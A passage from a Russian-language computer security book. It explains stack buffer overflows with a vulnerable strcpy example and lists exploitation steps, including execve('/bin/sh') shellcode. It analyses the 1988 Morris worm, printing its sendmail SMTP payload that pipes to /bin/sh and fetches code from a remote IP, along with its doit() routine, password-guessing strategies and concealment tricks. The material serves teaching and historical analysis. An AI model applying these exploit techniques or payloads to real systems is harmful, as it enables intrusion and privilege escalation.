process_data (char *data)

{

char buf[FIXED];

...

strcpy (buf, data);

<необходимая обработка данных в буфере>

...

return;

}

Подробно на причинах появления такого кода мы остановились, чтобы показать, что он является весьма типичным и распространенным (пусть и не очень хорошим с точки зрения стиля) для любых приложений, а вовсе не надуманным примером. Именно поэтому ошибки переполнения буфера так часто и проявляются.

Дальнейшее уже почти ясно. Локальные переменные (к которым относится и наш буфер) обычно располагаются компилятором в стеке, куда чуть раньше им же помещается адрес возврата в процедуру, из которой была вызвана process_data(). При часто используемой реализации стека, когда он «растет» вниз, оказывается, что адрес возврата в процедуру находится «дальше» (то есть имеет в стеке больший адрес), чем локальный буфер.

Возьмем, например, программу-дрозофилу:

main(int argc, char *argv[] )

{

process_data(argv[1]);

}

#define FIXED 16

process_data (char *data)

{

char buf[FIXED];

strcpy (buf, data);

return;

}

Для нее стек после вызова process_data() будет выглядеть примерно так, как это показано на рис. 9.1.

Рис. 9.1. Состояние стека после вызова уязвимой функции

Теперь уже не надо быть суперхакером, чтобы заметить, что адрес возврата находится не только в одном сегменте с локальными переменными, но и имеет больший адрес. Тогда, передав в качестве данных строку, имеющую заведомо больший размер, чем у отведенного под ее обработку буфера, мы сможем затереть все, что лежит в памяти выше, чем этот буфер, так как функция strcpy() будет копировать данные до тех пор, пока не встретит нуль-символ \0. В нашем примере достаточно передать как входной параметр строку длиной более 15 байт для выхода за границу буфера плюс еще несколько байт для изменения собственно адреса возврата.

Не случайно в приведенных выше рассуждениях ни разу не встретилось упоминания о конкретной операционной системе. Действительно, технология переполнения локального буфера весьма универсальна и будет работать практически в любой ОС (об ограничениях чуть ниже), поэтому читатель может скомпилировать программу-дрозофилу в его любимой ОС и посмотреть на результат, подав на вход, скажем, строку из 30 единиц (этого должно быть достаточно для любой ОС и любого компилятора). UNIX-системы при этом выведут что-то типа «Segmentation fault, core dumped». Информация от Windows NT (рис. 9.2) для хакера более наглядна – по ней сразу понятно, что произошло именно переполнение буфера с возможностью подмены адреса возврата, так как адрес, на котором «споткнулась» программа, был не чем иным, как 0x31313131. Это соответствует шестнадцатеричному коду для строки из четырех единиц. Если ввести строку, состоящую из неодинаковых символов, например 01234567890abcdefghijklmnopqst, то по выведенному адресу станет ясно, в каком месте строки должен стоять будущий адрес возврата.

Рис. 9.2. Информация о сбое программы в Windows NT

Итак, цель – передача управления – хакером достигнута. Теперь дело за малым. Нужно выполнить следующие шаги:

1. Найти подходящую программу, которая не только содержит процедуру, похожую на process_data(), но и выполняется с большими привилегиями. Если хакеру доступны исходные тексты, то особое внимание надо обратить на программы, содержащие функции strcat(), strcpy(), sprintf(), vsprintf(), gets(), scanf() и т. п. Если исходных текстов нет, то остается ручной (или автоматизированный) поиск уязвимых программ, то есть подача на вход длинных строк и оценка результатов.

2. Определить для найденной программы, какой размер буфера надо использовать, где в буфере должен располагаться адрес возврата и т. п.

3. Написать код, на который осуществится переход. Для ОС UNIX стандартный вариант – вызов оболочки следующим образом:

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

Для Windows NT это сделать сложнее.

4. Каким-то образом внедрить свой код в систему (хороший вариант – расположить его все в той же строчке). При этом злоумышленнику надо проверить, чтобы вызываемая функция при обработке этой строки не испортила данный код. Другая проблема – если process_data() использует strcpy() или любые другие стандартные функции работы со строками, то код должен быть написан так, чтобы он не содержал нулей, потому что в противном случае его копирование остановится на первом нуле. Заметьте, что код вызова оболочки уже содержит, по крайней мере, три нуля: один в конце "/bin/sh" и два NULL. Возможен вариант, когда не обойтись без нулей (например, сам адрес возврата должен их содержать), тогда можно, например, зашифровать код так, чтобы нули исчезли, а затем в начале кода использовать его расшифровщик.

В 1990 и 1995 годах Кристофером Клаусом (Christopher Klaus) [26] было протестировано около 80 программ на 9 различных платформах. Специальная программа подавала на вход строки длиной до 100 000 символов. В результате 25–33 % программ в 1990 году и 18–23 % в 1995 году работали некорректно – зависали, сбрасывали аварийный дамп и т. п. Интересно, что в коммерческих версиях UNIX этот процент доходил до 43, тогда как в свободно распространяемых он был меньше 10. Впрочем, справедливости ради надо отметить, что только две программы-демона вели себя таким образом в 1990 году, а через 5 лет эти ошибки были исправлены.

На практике, когда мы занимались анализом безопасности одного из шифраторов IP-трафика, построенного на базе OC FreeBSD 2.2, нам потребовалось совсем немного времени, чтобы найти типичную ошибку переполнения буфера в SUID root-программе suidperl. Получить полномочия суперпользователя удалось передачей в качестве параметра строки из 1 197 байт, содержащей стандартный код вызова оболочки.

Также важно отметить, что технология переполнения буфера, являясь самой распространенной и эффективной для удаленного исполнения кода, то есть для реализации опасных угроз раскрытия и целостности, но требующая значительных усилий по формированию соответствующей строки, может применяться очень эффективно и для атак «отказ в обслуживании». Здесь нет необходимости специально подбирать буфер с правильным адресом возврата, а подойдет любой, и возврат совершится на некий случайный адрес, вызвав тем самым аварийный останов программы или всей ОС в целом. Для реализации таких атак необходимо подобрать только длину буфера, но вполне естественно, что хорошими кандидатами будут строки длиной на 10–20 байт больше, чем 80, 100, 128, 256, 512, 1 000, 1 024, 2 048.

...

Для гарантированного отказа в обслуживании недостаточно подать на вход очень длинную строку, тем самым переполнив любой из потенциальных буферов. Дело в том, что начиная с некоторой длины такие строки могут не вызывать необходимого переполнения буфера, а приводить к другим ошибкам и иногда вообще никак не проявляться в работе программы. Иначе говоря, хакер, готовя переполнение буфера, ограничен максимальным размером кода, который он сможет выполнить. Тем не менее разумно подбирать длину буфера, начиная с больших величин.

Осталось подытожить, какие операционные системы могут подвергаться технологии переполнения буфера. Явно или неявно, но мы предполагали, что:

• параметры функций передаются через стек;

• адрес возврата также помещается в стек;

• локальные переменные располагаются в стеке;

• стек «растет» вниз;

• данные в стеке могут интерпретироваться как команды;

• должны существовать процессы или программы, имеющие уязвимый код, подобный функции process_data();

• некоторые процессы или функции должны иметь высокие привилегии.

Очевидно, что этим условиям удовлетворяет большинство ОС, в том числе UNIX и Windows NT.

И напоследок – переполнение буфера в стеке является тривиально используемой уязвимостью. Однако, если пытаться избавиться от таких уязвимостей простым переписыванием строк кода типа

char buf[FIXED];

на

static char buf[FIXED];

или

buf = (char *) malloc (FIXED);

(то есть убирая буферы из стека, чтобы невозможно было перезаписать адрес возврата), это не приведет к желаемым результатам, так как буферы, находящиеся в динамических или статических областях памяти, будут подвержены переполнению. А рядом с ними вполне могут находиться указатели на функции, данные структур для функций longjmp(), перезаписывание которых также приводит к исполнению функций злоумышленника. Более того, часто в подобных случаях можно обойтись без необходимости передачи управления: достаточно изменить имена файлов, идентификаторы (UID, GID, pid), пароли и т. п., лежащие в тех же областях памяти по соседству, чтобы задача хакера была выполнена.

Червь

В этом разделе мы перейдем к подробному рассмотрению не только самого известного случая нарушения безопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще – Internet worm (вирус Морриса). Более того, он представлял собой не просто единичное вторжение в некоторый компьютер, а дал ответ на давний вопрос: могут ли не в абстрактных условиях существовать саморепродуцирующиеся программы? То, что теоретически это возможно, признавалось почти всеми. А подтвердив возможность создания такой программы, инцидент дал толчок к появлению целой отрасли компьютерной безопасности – компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах – саморепродуцирующиеся в пределах одного компьютера).

Остается открытым (как мы увидим далее, исходя из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды, только сомнительную известность), а в странах, где подобные законы отсутствуют, нет и доступа широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем будущем, когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых червей, сделанных хакерами этих стран, и Россия здесь может занять не последнее место.

К 1988 году глобальная сеть Internet уже почти сформировалась, и практически все услуги сегодняшнего дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла не взорваться.

Итак, в начале ноября 1988 года Сеть была атакована так называемым сетевым червем, впоследствии получившим название «вирус Морриса» – по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать специфическими функциями:

• находить новые цели для атаки;

• проникать в них;

• передавать свой код на удаленную машину;

• запускать ее (получать управление);

• проверять на зараженность локальную или удаленную машину для предотвращения повторного заражения.

В сетевом компьютерном мире имя Роберта Морриса было известно давно. Еще в 1985 году компания AT&T Bell Labs опубликовала технический отчет, посвященный предсказанию TCP-идентификатора в версии 4.2 BSD UNIX [30]. Этот отчет был написан… Робертом Моррисом-старшим – отцом автора червя. Моррис-старший в то время занимал должность научного руководителя NCSC (National Computer Security Center – Национальный центр компьютерной безопасности) – эксперта по компьютерной безопасности. Моррис-старший много лет проработал в лаборатории AT&T Bell, где в 60-х годах принимал участие в разработке программ Core Wars. К этому необходимо добавить, что лето 1988 года Моррис-младший провел в той же лаборатории, где был занят переписыванием программ системы безопасности для компьютеров, работающих под управлением ОС UNIX. Кстати, инцидент с программой-червем практически никак не сказался на карьере Морриса-старшего. В начале 1989 года он был избран в специальный консультативный совет при Национальном институте стандартов и министерстве торговли. В задачу этого совета входила выработка заключений и рекомендаций по вопросам безопасности вычислительных систем правительственных органов США, а также решение вопросов, возникающих при разработке и внедрении стандартов защиты информации.

Червь Морриса инфицировал 6 200 компьютеров. Подсчитанные потери, хотя формально червь не наносил какого-либо ущерба данным в инфицированных хостах, были разделены на прямые и косвенные. К прямым потерям относились:

• остановка, тестирование и перезагрузка 42 700 машин;

• идентификация червя, удаление, чистка памяти и восстановление работоспособности 6 200 машин;

• анализ кода червя, дизассемблирование и документирование;

• исправление UNIX-систем и тестирование.

Прямые потери были оценены более чем в 32 000 000 долларов США. К косвенным потерям были отнесены:

• потери машинного времени в результате отсутствия доступа к сети;

• потери доступа пользователей к сети.

Косвенные потери оценивались более чем в 66 000 000 долларов США. Общие затраты составили 98 253 260 долларов США.

Далее мы подробно опишем структуру, механизмы и алгоритмы, применяемые червем. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования. Однако по истечении 10 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими все равно не удастся), и необходимую информацию можно найти в Internet. Большая часть материала этого раздела взята из [21, 32].

Стратегии вируса

Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля (см. ниже), так и «дыры» в различных коммуникационных программах, которые позволяли ему получать доступ без предъявления пароля. Рассмотрим подробнее такие «дыры».

Отладочный режим в программе sendmail

Вирус использовал функцию «debug» программы sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Дополнительная возможность отладочного режима заключается в том, чтобы посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы и в рабочей версии была оставлена по ошибке. Таким образом, налицо типичный пример атаки по сценарию 1.

Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле. forward. Такая спецификация используется программами, обрабатывающими или сортирующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и выполнял программу на языке С, служившую «абордажным крюком», и та, в свою очередь, принимала оставшиеся модули из атакующей машины. Вот, что передавал вирус через SMTP-соединение:

debug

mail from: </dev/null>

rcpt to: <"|sed -e ‘1,/^$/d‘ | /bin/sh ; exit 0">

data

cd /usr/tmp

cat > x14481910.c <<‘EOF‘

<текст программы l1.c>

EOF

cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c

quit

Вирус заражал компьютеры двух типов – VAX и Sun, поэтому пересылались двоичные коды для каждой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции. Ошибка в демоне fingerd Другой позволявший вирусу распространяться изъян, также относящийся к типовому сценарию 1, находился в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида:

{

char buf[512];

....

gets(buf);

}

Налицо классическая ситуация переполнения буфера (впрочем, тогда она, видимо, еще не была классикой). Вирус передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve(«/bin/sh», 0, 0). Как видно, за 10 лет технологии переполнения буфера не сильно изменились.

Указанным способом атаковались только машины VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих SunOS, такие атаки терпели неудачу.

Удаленное выполнение

Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Для этого в программе имелись имена и пароли пользователей локального (атакующего) хоста, потому что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта атака, как и следующая, относится уже к сценарию 4.

Удаленный командный интерпретатор и доверенные хосты

Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин с полученным именем и паролем текущего пользователя либо вообще без аутентификации, если атакуемая машина «доверяла» данной. (Файлы /etc/hosts.equiv и. rhosts содержат список машин, «доверяющих» данной, то есть доступных для запуска rsh с этой машины.) Он пробовал три различных имени для rsh:

• /usr/ucb/rsh;

• /usr/bin/rsh;

• /bin/rsh.

Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция exec.

Маскировка действий вируса

Для сокрытия своих действий вирус осуществлял ряд мер:

1. Стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы.

2. Исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась во время исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки.

3. Размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках.

4. Вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, часто применяемым в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения.

5. Вирус размножался, разветвляясь на два процесса (родитель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Происходил эффект «обновления», так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса.

6. Все текстовые строки, используемые вирусом, были закодированы с помощью операции «Исключающее ИЛИ» – XOR 81H. Этот слабый метод позволил скрыть важные текстовые строки, например имена открываемых вирусом файлов.

Ошибки в коде вируса

Вирус содержал некоторое количество ошибок – от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.

Предотвращение повторного заражения

Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение: многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).

Вирус, «проверяющий» наличие других вирусов, пытался связаться с портом 23357, чтобы установить контакт с «отвечающим» вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился «отвечающим». Если связь устанавливалась, «проверяющий» посылал магическое число 8 865 431 и в течение 300 секунд ожидал другое магическое число 1 345 688. Если число было неверным, «проверяющий» разрывал связь. Потом он выбирал случайное число и посылал «отвечающему». Затем в течение 10 секунд ожидал возврата другого случайного числа, после чего складывал его с посланным. Если сумма оказывалась четным числом, то «проверяющий» устанавливал значение переменной pleasequit (см. ниже). Иначе говоря, каждый раз из двух вирусов один «смертник» выбирался случайно.

После окончания (успешного или неудачного) сеанса связи «проверяющий» «засыпал» на 5 секунд и пытался стать «отвечающим». Для этого он создавал TCP-сокет, устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.

Этот код содержал множество ошибок, и приходится только удивляться, что он вообще работал. Ошибки проявлялись при следующих условиях:

1. Если несколько вирусов заражали чистую машину одновременно, то они также одновременно пытались найти остальных в режиме «проверяющих». Так как никто не мог их найти, они постепенно переключались в режим ожидания сообщения, и один из вирусов получал его, а остальные прекращали попытки связаться друг с другом и не отвечали на запросы.

2. Если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса, то только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать. Заметим, что здесь выражение «одновременно» подразумевает 5-20-секундный промежуток.

3. Если машина работала медленно или была сильно загружена, то это могло привести к израсходованию вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к прекращению обмена.

Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал, – устанавливал переменную pleasequit. Это не давало эффекта до тех пор, пока вирус:

• не собрал список имен машин для их атаки;

• не собрал список имен пользователей;

• не осуществил перебор всех «очевидных» паролей по стратегии 1 (она описана ниже) и не попробовал 10 случайно взятых паролей из своего словаря.

Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному заражению.

Многократно зараженные машины распространяли вирус быстрее, вероятно, пропорционально числу копий вируса на машине, чему есть две причины:

1. Вирус перемешивал списки имен машин и пользователей, которые собирался атаковать, используя генератор случайных чисел, зависящий от системного времени. Разные копии получали разные случайные числа и атаковали разные объекты.

2. Вирус расходовал много времени, ожидая сообщений от других вирусов, поэтому вирусы не конфликтовали между собой, запрашивая системные ресурсы.

Таким образом, вирус распространялся гораздо быстрее, чем ожидал автор, и был обнаружен именно по этой причине.

Использование эвристического подхода для определения целей Чтобы не тратить время, пытаясь заразить систему, отличную от UNIX, вирус иногда устанавливал связь с предполагаемой мишенью при помощи telnet или rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря этому некоторые системы избежали заражения, так как, хотя и поддерживали электронную почту, отказывали в доступе telnet или rsh.

Неиспользованные возможности вируса

Вирус не использовал некоторые очевидные возможности:

1. При поиске списка мишеней атаки он не задействовал службу DNS, чтобы найти имена машин, подключенных к сети. Эта информация обычно включает также тип машины и ОС, что ограничивает список целей.

2. Он не атаковал последовательно оба типа машин. Если VAX-атака терпела неудачу, он мог бы предпринять Sun-атаку, но не делал этого.

3. Он не пытался найти привилегированных пользователей на локальной машине.

Подробный анализ структуры и процедур вируса

Далее вирус описывается очень подробно, процедура за процедурой (рис. 9.3).

Рис. 9.3. Структура вируса Морриса

Имена

Ядро вируса состоит из двух бинарных модулей: один для машин VAX-архитектуры, другой для Sun-архитектуры. Это объектные файлы, содержащие списки имен своих внутренних процедур.

Удивительно, что имена осмысленны (например, doit или cracksome), ведь такой простой метод, как случайный выбор имен процедур, мог бы сильно усложнить анализ вируса.

Обработка аргументов командной строки

Вирус мог запускаться с аргументом «-p NNN», где NNN – десятичное число, которое является идентификатором породившего процесса. Впоследствии вирус использовал это число для удаления данного процесса с целью «заметания следов».

Остальные аргументы командной строки являлись именами файлов, которые он пытался загрузить. Если не удавалось загрузить хотя бы один из них, вирус заканчивал работу. Если был задан аргумент «-p NNN», то он также стирал файлы и потом пытался уничтожить свой образ на диске.

Затем вирус предпринимал следующие действия (причем, если какие-то из них терпели неудачу, он завершался):

1. Проверял, был ли задан хотя бы один файл в командной строке.

2. Проверял, был ли успешно загружен файл l1.c.

Если был задан параметр «-p», программа закрывала все файлы, открытые породившим процессом.

Потом, для маскировки способа запуска вируса, стирался массив аргументов.

Вирус сканировал все сетевые интерфейсы, получал статус и адреса каждого интерфейса.

Вирус уничтожал процесс, заданный параметром «-p NNN», и перед этим менял группу (GID) текущего процесса, чтобы не погибнуть вместе с ним.

Далее, если все эти действия заканчивались удачно, он выполнял процедуру doit, которая совершала остальную работу.

Процедура doit

Процедура doit состоит из двух частей – инициализации и основного цикла.

В первой части инициализируется генератор случайных чисел; кроме того, вирус сохраняет время для последующего определения продолжительности работы в системе.

Затем вызывается процедура hg. Если она оканчивается неудачно, вызывается процедура ha.

После этого с вероятностью шесть седьмых проверяется, существует ли на данной машине другая работающая копия вируса, если да, то одна из них «погибает». Иначе говоря, только в одном случае из семи должно было бы происходить размножение вируса.

На последнем этапе процедура инициализации должна была по замыслу автора посылать байт по адресу 128.32.137.13, соответствующему ernie.berkeley.edu, в порт 11357. Этого не произошло ни разу, так как автор неправильно использовал вызов функции.

Основной цикл doit содержал наиболее активные компоненты вируса. В нем вызывается процедура cracksome, пытающаяся найти компьютеры, в которые можно проникнуть. Далее, после 30-секундного ожидания, во время которого происходит попытка связаться с другими вирусами, вирус пытается проникнуть в другие машины.

После осуществления атак он разветвляется, создавая две копии. Первоначальная копия (процесс-родитель) уничтожается, оставляя процессу-потомку всю информацию.

Затем процедуры hd, hl и ha ищут машины для заражения, и программа ждет еще 2 минуты.

Наконец, перед возвратом на начало цикла проверяется значение глобальной переменной pleasequit. Если она установлена и вирус уже перебрал более 10 слов из собственного словаря паролей, работа завершается. Таким образом, принудительная установка pleasequit не дает эффекта моментального завершения всех вирусов.

Вот немного переделанный для лучшего понимания исходный текст процедуры doit:

static doit()

{

long key, time1, time0;

time(&key);

srandom(key);

time0 = key;

if (hg() == 0 && hl() == 0)

ha();

if ((random() % 7) != 3)

checkother();

report_breakin();

cracksome();

other_sleep(30);

while (1) {

cracksome();

if (fork() > 0)

exit(0);

if (hg() == 0 && hi() == 0 && ha() == 0)

hl();

other_sleep(120);

time(&time1);

if (time1 – time0 >= 60*60*12)

h_clean();

if (pleasequit && nextw > 0)

exit(0);

}

Процедуры подбора пароля Процедуры подбора пароля являются «мозгом» вируса. Cracksome – процедура, применяющая различные стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось добавление новых стратегий при дальнейшем развитии вируса. Вирус последовательно пробует каждую стратегию.

Фаза 0

Это предварительный этап, на котором определяется список возможных мишеней атаки (имена и сетевые адреса компьютеров, имена и пароли пользователей).

На этом этапе читается файл /etc/hosts.equiv в поисках имен машин, которые могли быть заражены. Этот файл содержит информацию о том, какие машины «доверяют» данной. Логично предположить, что пользователи этой машины могут быть пользователями машин из этого списка.

После этого читается файл. rhost, представляющий собой список машин, которым данная машина «доверяет» привилегированный доступ. Заметим, что это не позволяет получить доступ к удаленной машине и может служить только возможным адресом для атаки. Часто системные администраторы запрещают доступ к этому файлу, из-за чего вирус не может его прочитать, хотя. rhosts очень часто является частью /etc/hosts.equiv.

В конце фазы 0 вирус читает файл паролей /etc/passwd. Информация из этого файла используется для нахождения персональных. forward-файлов, и те просматриваются с целью поиска имен машин, которые можно атаковать. Кроме того, из него извлекаются входные имена пользователей, их зашифрованные пароли и полные имена. После того как вирус просканирует весь файл, он перейдет к перебору стратегий.

Стратегия 1 Это самая простая стратегия, способная определить только примитивные пароли. Пусть файл etc/passwd содержит строчку

user:<хэш пароля>:100:5:John Smith:/usr/user:/bin/sh

Тогда в качестве пароля предлагаются следующие варианты:

• пароль вообще отсутствует;

• в качестве пароля берется входное имя пользователя (user);

• то же, но прочитанное справа налево (resu);

• пароль представляет собой двойной повтор имени пользователя (useruser);

• имя или фамилия пользователя (John, Smith);

• то же, но в нижнем регистре (john, smith).

Все эти атаки применялись к 50 паролям, накопленным во время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.

Стратегия 2

Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами на эту роль. Список перемешивается в начале проверки для того, чтобы пароли подбирались в случайном порядке. Здесь же проверяется значение переменной pleasequit, но так, чтобы перед выходом вирус «просмотрел» не менее 10 вариантов.

Когда список слов исчерпан, вирус переходит к стратегии 3.

Стратегия 3 Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24 000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверяется и вариант со строчной буквой.

Процедуры поиска удаленных машин

Это набор процедур с начинающимися на «h» именами, выполняющих задачу поиска имен и адресов удаленных машин.

Процедура hg вызывает процедуру rt_init, которая сканирует таблицу маршрутов и записывает все адреса доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры атаки через rsh, finger и sendmail.

Процедура ha связывается с каждым шлюзом из списка, полученного процедурой hg, через TCP-порт номер 23, чтобы обнаружить те машины, которые поддерживают telnet. Список перемешивается случайным образом, после чего для каждой машины из этого списка вызывается процедура hn (то есть вирус пытается заразить все машины в подсетях этого шлюза).

Процедура hl извлекает номер сети – первый компонент сетевого адреса из всех адресов текущей машины, и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются все локально подключенные подсети).

Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts.equiv, через rsh, finger и sendmail.

Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать адреса шлюзов путем перебора всех возможных адресов (<номер сети>.[1–8].0.[1-255]). Этот список перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из списка, используя rsh, finger и SMTP. Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не пытается атаковать ее. После первой успешной атаки процедура завершается.

Порядок работы Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные не вызываются. Каждая процедура возвращается после того, как она сумела атаковать одну машину. Затем вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу, то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать сначала шлюзовые машины, а затем распространяться на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят неудачу, то вызывается hl, которая похожа на ha, но подбирает адрес с помощью сетевого адреса текущей машины. Анализ кода этих процедур также свидетельствует о наличии ошибок.

Процедура l1.c – «абордажный крюк»

Все процедуры атаки использовали эту короткую процедуру для пересылки основной части вируса.

Первое, что она делает, – удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса (если это не удается, она также завершается). Процесс-родитель завершается, не оставляя никаких связей с порожденным процессом.

Далее процедура (процесс-потомок) создает TCP-соединение с заражаемой машиной по адресу, заданному в качестве первого аргумента, через порт, заданный вторым аргументом. Затем она пересылает на зараженную машину «магическое число», заданное третьим аргументом. Каждый аргумент стирается сразу после его использования. Далее стандартный ввод-вывод переназначается на канал связи с зараженной машиной.

Следующий этап – считывается длина и имя каждого файла, составляющего вирус. Каждый файл пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются.

По окончании цикла пересылки файлов запускается Bourne Shell (sh), замещающий программу 11 и получающий команды с зараженной машины.

Может быть, после такого детального рассмотрения алгоритмы, применяемые червем Морриса, кажутся неуклюжими и запутанными, вероятно, что-то можно было сделать проще и эффективнее. Тем не менее они реализовывали все процедуры, необходимые настоящему сетевому вирусу, чего за 10 лет никому повторить не удалось – ни в рамках UNIX-архитектуры, ни в какой другой. Сегодня «троянские» программы, попадающие к незадачливому пользователю с электронной почтой и т. п., который сам их запускает и инициирует таким образом дальнейшее размножение, иногда называют «новыми сетевыми червями» (особенно в ОС семейства Windows). Но «троянцы» не могут размножаться без участия человека и не являются сетевыми червями по определению.

После червя

Подбор пароля

Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности. Были предприняты шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин их появления в UNIX-системах. Также была выявлена необходимость создания некоторого координационного органа, в котором бы накапливалась и систематизировалась информация о различных компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT (Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем стало сообщение об уязвимостях, использованных червем.

Однако и компьютерные взломщики совершенствовали свои методы. Одной из наиболее популярных стала атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его идеи, либо создаваясь независимо, вскоре появилось множество программ, занимавшихся подбором пароля к UNIX-машине. И долгое время слова «взломать UNIX» означали запустить взломщик (cracker) паролей.

Как известно, в файле /etc/passwd лежит ключевая информация обо всех пользователях системы, включая входное имя, пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, разработчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Они придумали схему, благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный пользователь – завладеть паролем другого, смогли реализоваться лишь спустя 15 лет. Создатели не шифровали пароль по какому-то секретному алгоритму, так как рано или поздно он стал бы известен очередному не в меру любопытному, но в меру грамотному программисту, который смог бы расшифровать все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем применения к нему специальной однонаправленной функции, называемой хэшированием, получалось значение, из которого никак нельзя получить исходный пароль. Более того, разработчики взяли математически криптостойкий алгоритм DES и на основе его создали функцию crypt(), преобразующую пароль в строку, расположенную в файле /etc/passwd. Эту функцию написал, кстати, Роберт Моррис-старший.

Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для преобразования пароля пользователя. Кстати, этот алгоритм до сих пор используется в большинстве *IX.

Из исходного пароля берутся первые восемь байт. Также выбирается 12-битная случайная привязка (salt), используемая при операции хэширования. Она нужна для того, чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется специальная функция шифрования, состоящая из 25 повторений чуть измененного алгоритма DES (чтобы исключить использование аппаратных плат, реализующих классический DES; однако такие изменения могли стоить разработчикам ослабления криптостойкости их функции, но, к счастью, этого не случилось), которая дает на выходе 64-битное значение.

Наконец, сама привязка преобразуется в два читабельных ASCII-символа, а хэш – в 11 символов. Итак, функция char* crypt (char* passwd, char* salt) выдает 13-символьную строчку, которая и записывается в файл /etc/ passwd.

